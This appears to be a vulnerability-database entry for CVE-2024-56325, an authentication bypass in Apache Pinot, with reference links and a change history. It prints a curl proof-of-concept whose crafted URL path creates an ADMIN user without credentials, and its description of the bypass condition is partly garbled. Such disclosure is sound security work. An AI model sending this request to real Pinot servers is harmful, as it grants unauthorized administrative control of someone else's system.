Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
CVSS
No CVSS.
References
| Link | Resource |
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| http://www.openwall.com/lists/oss-security/2025/03/27/8 | Mailing List Third Party Advisory |
| https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v | Mailing List Vendor Advisory |
Configurations
History
15 Jul 2025, 19:49
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| References | () https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v - Mailing List, Vendor Advisory | |
| References | () http://www.openwall.com/lists/oss-security/2025/03/27/8 - Mailing List, Third Party Advisory | |
| CPE | cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:* | |
| First Time |
Apache pinot
Apache |
01 Apr 2025, 10:15
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| CWE |
01 Apr 2025, 09:15
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Information
Published : 2025-04-01 09:15
Updated : 2025-07-15 19:49
NVD link : CVE-2024-56325
Mitre link : CVE-2024-56325
JSON object : View
Products Affected
apache
- pinot
CWE
No CWE.